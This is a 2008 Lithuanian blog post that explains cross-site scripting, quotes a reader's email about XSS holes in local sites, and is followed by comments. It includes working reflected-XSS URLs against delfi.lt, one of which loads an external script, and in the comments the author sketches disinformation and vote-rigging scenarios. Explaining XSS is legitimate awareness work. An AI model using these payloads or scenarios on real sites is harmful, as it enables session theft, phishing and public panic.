Informacijos apsauga .LT » Blog Archive » Cross Site Scripting arba XSS
Cross Site Scripting arba XSS
2008-04-14 22:58 parašė Audrius
1 balas2 balai3 balai4 balai5 balai (Įvertinimai: 14. Vidutinis balas: 3.57 iš 5 galimų. Įvertink ir Tu.)
Loading ... Loading ...

Kadangi senai rašiau apie web saugumą, apklausoje daugiausiai balsų kol kas renka praktinių pamokų noras, o dar ir į el. paštą atėjo su tuo susijęs laiškas, tad šiandien ir parašysiu apie šiuo metu populiariausią ir daug diskusijų keliantį tinklalapių pažeidžiamumą. Tas web pažeidžiamumų pirmūnas yra Cross Site Scripting, kuris trumpinamas tiesiog XSS. XSS, o ne CSS todėl, kad tiesiog nebūtų painiojama su Cascading Style Sheets. Pagal įvairius duomenis jis sutinkamas 75%-80% tinklalapių. Lietuviški nei kiek neatsilieka. Kaip pasireiškia tas pažeidžiamumas? Pažeidžiamumas yra nukreiptas ne prieš pačius tinklalapius, bet prieš jų vartotojus. Jei tinklalapyje yra palikta tokia skylė, tuomet jo lankytojui galima pakišti papildomą HTML kodą arba skriptą, kurį lankytojo naršyklė apdoros ir įvykdys kaip originalų. Ką su tuo galima padaryti? Kai tik toks pažeidžiamumas buvo atrastas, tuomet dažniausiai buvo tiesiog dedamas Java skriptas, kuris vykdydavo amžiną ciklą ir mesdavo lankytojams nesibaigiantį pranešimą. Žodžiu, toks “baeris”, kuris neduodavo normaliai naršyti. Vėliau sėkmingai buvo pradėtos klastoti tinklalapių dalys. Pvz. bankinėje sistemoje ant originalių prisijungimo laukelių uždėdavo niekuo nesiskiriančius padirbtus prisijungimo langelius, kurie tiesiog surinkdavo prisijungimo duomenis ir persiųsdavo nusikaltėliams. Vėliau, be puslapių klastojimo į darba stipriai buvo “pajungti” visokie skriptai, vykdomi naršyklėje. Dabar JavaScript’o pagalba vagiami duomenys, apeinant ugniasienę patikrinamas vidinio tinklo saugumas, išnaudojami įvairūs pažeidžiamumai (pvz. perkonfigūruojami vidiniai router’iai), perimamos naršymo sesijos, admino teisės, pavagimai ištisi blogai ir t.t. Žodžiu, galimybių daug. Jei koks nors programuotojas sako, kad čia š…, o ne pažeidžiamumas, tai sumažinkit jam algą (arba pasiūlykit tą padaryti jo šefui). Dvigubai. Kol netnaujins žinių. Jei toks programuotojas esi tu pats, tai skubėk pasitasyti, kol tavo šefas tau nesumažino algos. Dvigubai. :D O jei rimtai, tai šiandien, išnaudojantys XSS pažeidžiamumą, po internetą jau sklando virusai ir valdomi botnet’ai. Tiesa, botnet’e dalyvis aktyvus būna tol, kol veikia naršyklė. Ir jei neišnaudojami kiti naršyklės pažeidžiamumai ir nepavyksta įkišti į OS kokio papildomo malware’o, tai iš tokio botnet’o pasišalinama tiesiog uždarant naršyklę. Žodžiu, čia buvo šiek tiek teorijos. Dabar kaip visa tai atrodo gyvai. Štai čia ir pacituosiu prieš kurį laiką man atėjusį laišką (kalba netaisyta).

Sveiki,
Siunčiu informacijos, kuri gali pasirodys įdomi.
Galbūt teko girdėti apie tinklapį
xssed.com. Taigi turiu surinkęs
keletą lietuviškų tinklapių su tapačiu pažeidimu.
http://www.xssed.com/archive/author=F3nix/
Yra ir info.lt, delfi.lt ir t.t.
Delfi.lt tiesiog stebina savo aplaidumu. XSS skylė vis dar neužtaisyta, nors nuo pranešimo administratoriam praėjo bemaž pusė metų.

http://www.delfi.lt/archive/article.php?id=1625&s2f=1&sendit=1&fromName=%3Cscript%20
src=http://lol.freehost.lt/1.js%3E%3C/script%3E

Taip. Xssed.com yra tinklalapis, kuriame gali registruoti surastus XSS pažeidžiamumus, už tai gauti taškus (kitą kartą papasakosiu kaip už tai gauti ne taškų, bet pinigų), užimti vietą reitingų lentelėje ir t.t. Pasirodo ten sėkmingai dalyvauja ir lietuvis F3nix. Sistemų priregistravęs daug ir visokių. Vienos jau susitvarkiusios, kitos dar ne. Tarp pastarųjų yra ir delfi.lt. Jis ir pateikia pačio paprasčiausio XSS pažeidžiamumo išnaudojimo pavyzdį. Tiesiog įvykdomas JavaScript’as, kuris lankytojui parodo pranešimą. Galim pasilinksminti ir labiau nedarydami nieko blogo. Pvz. priverskim delfi.lt rodyti alfa.lt turinį:

http://www.delfi.lt/archive/article.php?id=1625&s2f=1&sendit=1&fromName=%3Cscript%3E
document.writeln(’%3Ciframe%20style=%22position:absolute;%20top:%20150px;%20left:0px;%22%20
frameborder=0%20height=1500px%20width=100%%20src=http://www.alfa.lt/%3E’);%3C/script%3E

O jei taip botnet’ą? Su delfi lankomumu jis turėtų gautis nemažas. Gerai, kad to dar niekas nesugalvojo padaryti (o gal jau?). Manau programuotojai greitai pagavo kampą kas ir kodėl čia įvyksta. Taigi, šis pažeidžiamumas dažnas klaidų ir paieškos puslapiuose. Pavaikščioję po F3nix surinktą katalogą būtent tai ir pamatysit. Jo kataloge taip pat pilna iš esmės tik vieno tipo XSS pažeidžiamumų, t.y. vaizduojamojo. Be vaizduojamojo dar būna išsaugomasis (kai nereikia vartotojo priversti kažką spausti) ir DOM (išnaudojantis išskirtinai JavaScript trūkumus). Bet į tai daugiau nesigilinsiu, nes principą jau turėjote suprasti, beliko detalės.

Tuo tarpu aš nusprendžiau pakalbinti patį F3nix. Paprašiau tiesiog trumpai jo papasakoti apie save. Atsakymą gavau tokį (kalba netaisyta):

Na tai trumpai ir parašysiu, nes nesinori per daug lyst viešumon. :D
Esu 19 metų, ir jau tris metus aktyviai kovoju už vartotojų saugumą.
XSS pažeidiamumai, matyt, paprasčiausi, todėl juos galima viešinti,
nes paviešinus kokį SQL, turbūt tą pačia dieną atsirastų įsilauželis
besinaudojantis kitų surastomis spragomis.
Dėl XSS tipo pažeidžiamumų per nelyg galvos nesuku ir pranešu
administratoriams tik jei tipiškas pažeidžiamumas pasikartoja visoje
sistemoje ar aukštus reitingus turinčiame puslapyje (delfi, info,
sonex ir t.t).
Radęs SQL pažeidžiamumus, nedelsiant informuoju adminstratorius, ir
labai sveikintina, kad daugelis iš jų sureaguoja tą pačia dieną. Kai
pavyzdį pateiksiu
rem.lt, kurie dar ir labai gražiai padėkojo.
Lietuviškų tinklapių saugumas iš tiesų pasibaisėtinas. Žvilgterkim į
ieš
kok.lt, pasinaudojus cookie pakeitimu buvo galima prisijungti bet
kuriuo kitu vartotoju. Neilgai trukus puslapis buvo atnaujintas, bet
paliekant dar baisesnė klaidą - laisvą priėjimą prie visų vartotojų
duomenų bazės.
Nieko stebėtino, netgi valstybiniuose puslapiuose saugumo klaidų apstu.
Ir galiausiai, gal galėtum mestelt sakinį su mano email, kad už tam
tikrą užmokestį analizuoju tinklapius ir ieškau pažeidžiamumų.

O beje, nepaminėjau www.e*******y.lt. Ponai labai save reklamuoja, bet
iš didelio rašto išėjo iš krašto. Jų ženkliuku pažymėti tinklapiai,
neva saugūs, yra skylėti kaip rėčiai…. Labai panašu į neseniai
nuaidėjusį HackerSafe skandalą. :D

Nuo savęs galiu tik pridėti, kad jam apie surastus pažeidžiamumus sekasi informuoti geriau nei man. Jo rastus, lengviau išnaudojamus pažeidžiamumus, bent jau susitvarko greičiau. :) Aš kol kas geriausiu atveju gaudavau tik “ačiū” arba nieko ir labai gerai jei kas nors po to pasikeisdavo. Kažkaip man dažnesnis būdavo delfi.lt atvejis, kai niekas nereaguodavo bent pusę metų. Matau, kad pasikeitmai vyksta ir šioje srityje. Programuojantys, tikiuosi, suskubs tvarkyti savo sistemų, nes kaip patys matot, klaida populiari ir ne visuomet paprastai aptinkama. O daro ją visi kas netingi. Tie kas tingi irgi. Dvigubai daugiau. ;)

» Temos: Apie viską, Blogietis
» Žymėtis: kaip.tik.ten :: topix.lt :: del.icio.us

Įrašo gairės:


Komentarai
  1. 2008-04-14 23:11 oo rašė:

    Nieko naujo

  2. 2008-04-14 23:16 oo rašė:

    Beje autoriau teoretike, be permanent xss delfyje jokio botneto nesukursi.

  3. 2008-04-15 00:14 Kęstutis rašė:

    Tai dabar belieka daugeliui programerių sumažint atlyginimą :) Bet verslininkams svarbiausia geras produktyvumas (greitai atlikta), o ne saugumas.
    Neblogas straipsniukas :)

  4. 2008-04-15 06:44 Silas rašė:

    Skaičiau susidomėjęs, bet…

    ” Jų ženkliuku pažymėti tinklapiai, neva saugūs, yra skylėti kaip rėčiai…” Pateik bent tris pavyzdžius “jų pažymėtų tinklapių”, kad atrodytum rimtas…

  5. 2008-04-15 07:33 Audrius rašė:

    oo, kad botnet’o sukūrimui galėtum panaudoti non-persistant xss pažeidžiamumą jau reikia ir socialinės inžinerijos. Pvz. tuo sėkmingai naudojosi Sandra virusas. O su bug’ais kaip su tarakonais. Jei yra vienas, tai žinok, kad šalia yra ir daugiau. Tas pats ir čia. Parodytas tik vienas.

  6. 2008-04-15 07:37 Audrius rašė:

    Silai, parodyčiau, jei žinočiau kokį ženkliuką F3nix turėjo omenyje. Šito reikia klausti jo, ne manęs. Jei neklįstu, tai jie HackerSafe analogo, kaip ir nedalina. Ar klystu?

  7. 2008-04-15 07:42 Silas rašė:

    Neklysti. Yra vienas puslapis kuriame yra tas ženkliukas, bet tai labiau baneris.

    p.s. Yra tikimybė kad tai pasikeitė ir esecurity kažką dalina, dėl to ir paprašiau F3nix’o bent trijų pavyzdžių (pačiam įdomu). Nes dabar dėl paskutinės pastraipos visas jo laiškas atrodo kaip tuščios pagyros.

  8. 2008-04-15 07:43 Audrius rašė:

    Duok adresą to puslapio, žvilgtelsiu.

  9. 2008-04-15 07:46 Audrius rašė:

    Kęstuti, dėl atlyginimų sumažinimo tik juokavau. Po to į gatvę išlįsti negalėsiu. :D XSS rasti gali beveik bet kuriame didesniame projekte. Suprantu, kai tokias klaidas daro studentai ir šiaip kontorėlės, bet kai taip pat dirba rimčiausiais web developeriais save vadinančios įmonės, tai ką aš žinau…

  10. 2008-04-15 09:09 jurkis rašė:

    pas tą esecurity balsavimas labai įdomus irgi - jau pakėliau opcijos Abejoju lygį iki 25% :).

  11. 2008-04-15 11:01 brolio draugė rašė:

    Vėl ne visai į temą :/
    http://www.lrytas.lt/-12081924741206479974-p1-IT-Nevirtual%C5%ABs-virtualaus-internetinio-pasaulio-pavojai.htm

  12. 2008-04-15 14:51 Darles rašė:

    e*******y balsavimas tikrai labai įdomus… Daugelį tų balsavimo sistemų taip pat galima išnaudoti piktiems tikslams, žmonės net nežinos kad už kažką balsuoja įėję į tam tikrą puslapį kaip pvz.: dalyvaujame konkurse, kuriame turi lankytojai balsuoti už tavo lievą fotkę, susirandam XSS pažeidimą delfi.lt kuriame per iframe iterpiame balsavimo formą ir duodame žmonėms paskaityti tam tikrą straipsnį… Ir valio - mes laimime.

  13. 2008-04-15 15:15 Audrius rašė:

    O jei tokį “straipsnį” su atitinkamu turiniu padarysi pvz. po metinės prezidento kalbos ar kokio kito svarbesnio įvykio ir praspaminsi naujienų agentūras dar ir iš delfi pašto dėžės, tai efektas irgi turėtų būti įdomus. Kiek iš gavusių patikrins tikras tas straipsnis ar ne? Kiek iš jų sugebės tai padaryti? Geriausiu atveju pažiūrės, kad nuoroda prasideda delfi.lt, o pašto adresas baigiasi delfi.lt ir tuo baigsis. Nebent kas netyčia sugalvos paskambinti į delfi ir paprašyti pakomentuoti kas parašyta. O delfi iki tokio skambučio ar atskiro pranešimo ir nežinotų dėl ko šaršalas dėl jų portalo kilo. Aišku, kitą dieną jau viskas būtų išaiškėję, bet kiti laikraščiai dar visą savaitę plotų katučių ir rašytų, kad “delfi.lt lo*ai”. Respublika rašytų dvigubai. Delfi dar visą mėnesį teisintūsi, kad jie ne tokie, pasakotų kaip pas save didina projekto saugą, kokie jie faini ir t.t. Ir vistiek skaitytojai šį įvykį prisimintų dar visus metus, gal net kitus. XSS + socialinė inžinerija ir vualia, turim skandalą, kuriame didžiausius nuostolius turi delfi.

  14. 2008-04-15 15:22 Audrius rašė:

    Galim čia komentaruose sulipdyti ir įdomesnių scenarijų. Galiu pradėti.

    Turimi resursai:
    - XSS pažeidžiamumas populiariausiam naujienų portale;
    - virš 100 000 lietuviškų email’ų DB;
    - Trečiadienį (t.y. rytoj) Lietuvoje kauks sirenos;
    - Lietuva turi atominę elektrinę.

    Prie to dar galim pridėti nepakankamą žmonių išprusimą bei pernelyg didelį pasitikėjimą žiniasklaida.
    Klausimas. Per kiek laiko vaistinėse pasibaigs jodas?

    Jei ką, tai pernai Čekijoje hakeriai sugebėjo TV naujienų metu paleisti vaizdą, kaip sprogsta atominė bomba. Tuo metu buvo rodoma orų prognozė su Čekijos vaizdais. Žmonių reakcija buvo nebloga. Lavina skambučių į TV kanalą bei įvairias valstybines institucijas ir t.t. Panikos pakako.

    Youtube yra ir video kaip viskas atrodė. Čia pirmas rastas: http://www.youtube.com/watch?v=fZ2coRDs9FU

  15. 2008-04-15 18:02 bal rašė:

    Turimi resursai:
    - XSS pažeidžiamumas populiariausiam naujienų portale;
    - virš 100 000 lietuviškų email’ų DB;
    - Trečiadienį (t.y. rytoj) Lietuvoje kauks sirenos;
    - Lietuva turi atominę elektrinę.

    Aš ir panašiai galvojau tik ne paie elektrine, nes čia jau senas bajeris, o apie WW3 :)

  16. 2008-04-15 20:11 Blogorama #394 : nežinau.lt rašė:

    [...] nenutuokdama, kas yra IBM ir ką ji yra nuveikusi kompiuterijos srityje. Keds Shoes man pritaria. Ieškomas skylių operatorius. Svetainių administratoriai tapo naudojamų programų įkaitais (nebent patys jas sukūrė). Gauni [...]

  17. 2008-04-16 19:15 Kęstutis rašė:

    Audrius, O aš aplamai nesuprantu kaip galima būti tokiems neatsakingiems ir palikti, kad ir mažas XSS skyles.
    Ne veltui kai kurie vadinta PHP ne programavimo kalba.

  18. 2008-04-16 19:44 Darles rašė:

    Jei neklystu XSS ne tik php aptinkamos ;) O PHP nevadinti programavimo kalba, tas pats kas nelaikyti Windows operacine sistema ;)

  19. 2008-04-17 09:39 Kęstutis rašė:

    Darles, nesupratai manęs! PHP’istai daugiausiai palieka saugumo skylių, klaidų ir pan. (ypač retas atvejis kada gali padiskutuoti su PHP guru) ;)
    „Ne veltui kai kurie vadinta PHP ne programavimo kalba.“ - jeigu būčiau rašęs, kad veltui vadinama tai būtų tas pats ką būčiau parašęs C++ arba(/ir) HTML ne programavimo kalba. O aš sakiau, kad ji ne veltui taip vadinama tai yra nes norima išreikšti gilią mintį taip išsakant! O, kad kažkokie žiopliai (panašu, kad būsi vienas iš jų, o šiaip tai juokauju) supranta tai tiesiogiai (nes nemoka atskirti kas yra programavimas ir kas ne) tai aš nekaltas. Tai tik įrodo jų nemokšiškumą.

  20. 2008-04-19 21:58 ElKa rašė:

    Kažkada gan senai ir per LNK kažkokie “čiuvakai” sugebėjo net kelis kartus įsijungti į tiesioginį eterį iš kažkokio microautobusiuko :P nors labai trumpam, bet smagiai žiūrėjos.

  21. 2008-04-21 13:12 dzhiurgis rašė:

    Pries daugmaz metus buvo ir lrs.lt XSS :) tada padariau page kuriame rasoma jog isleistas naujas istatymas kur teises nuo 21m, bet mazai zmoniu patikejo [padaryta per iframe buvo]…

    Dar yra variantas iskoduoti url, pvz: http://tinyurl.com/%34%6d%35%74%66%6c

  22. 2008-04-27 20:55 jurgis rašė:

    http://blog.wired.com/27bstroke6/2008/04/isps-error-page.html

    Labai geras pavizdys apie xss :)

  23. 2008-05-21 22:46 Audrius rašė:

    Na va ir analogiška reali situacija su atomine elektrine.

    http://www.delfi.lt/news/daily/world/article.php?id=17110844


Palikite komentarą